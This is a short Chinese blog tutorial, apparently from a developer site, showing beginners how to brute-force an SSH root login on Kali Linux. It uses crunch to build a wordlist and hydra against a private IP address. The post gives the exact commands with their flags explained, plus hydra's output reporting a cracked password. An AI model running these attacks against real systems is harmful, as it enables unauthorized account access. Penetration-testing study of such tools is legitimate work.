kali暴力破解教程

本文为原创,转载请注明出处及作者!

kali是渗透工作者的得力兵器,今天带领初学者怎么快速实现暴破,所需要的工具都能在kali中找到。不多说了,开始吧~

1.打开终端,运行命令crunch,这个是字典生成工具,可以根据用户的要求生成字典。具体参数大家可以看手册,这里简单说一下即可:

crunch 1 4 charset.lst lalpha -o mypwd.txt

上述命令生成最短一个字符最长四个字符的字典,这部字典输出到mypwd.txt文件中(所以用了-o 选项),charset.lst lalpha 是说用charset.lst文件中的lalpha选项,至于是什么意思,大家可以查看一下charset.lst这个文件内容。

2.字典生成好了,下面请出hydra,这个工具的参数也很多,大家可以看手册,这里简单说一下即可:

hydra -l root -w 10 -P pwd.txt -t 14 -v 192.168.1.106 ssh

-l 指定用户名,如果你不确定目标主机是什么用户名,那可以把所有的用户名放在字典文件里,然后用-L user.txt来指定用户名,-w 10是指定不能超过10s ,-P 是指定密码字典,也就是上一步生成的字典文件,注意路径要能找得到哦,-t 是线程数,默认是16,-v是显示破解的过程信息,最后是目标的ip和协议。

运行后,成功破解了目标主机,如下:

root@su:/usr/share/wordlists# hydra -l root -w 10 -P pwd.txt -t 14 -v 192.168.1.106 ssh
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-04-05 17:09:58
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] 14 tasks, 1 server, 7380 login tries (l:1/p:7380), ~527 tries per task
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses ... done
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 10
[VERBOSE] Retrying connection for child 12
[22][ssh] host: 192.168.1.106   login: root   password: s
[STATUS] attack finished for 192.168.1.106 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-04-05 17:10:15



                                            2015.清明.suvir

  • 8
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值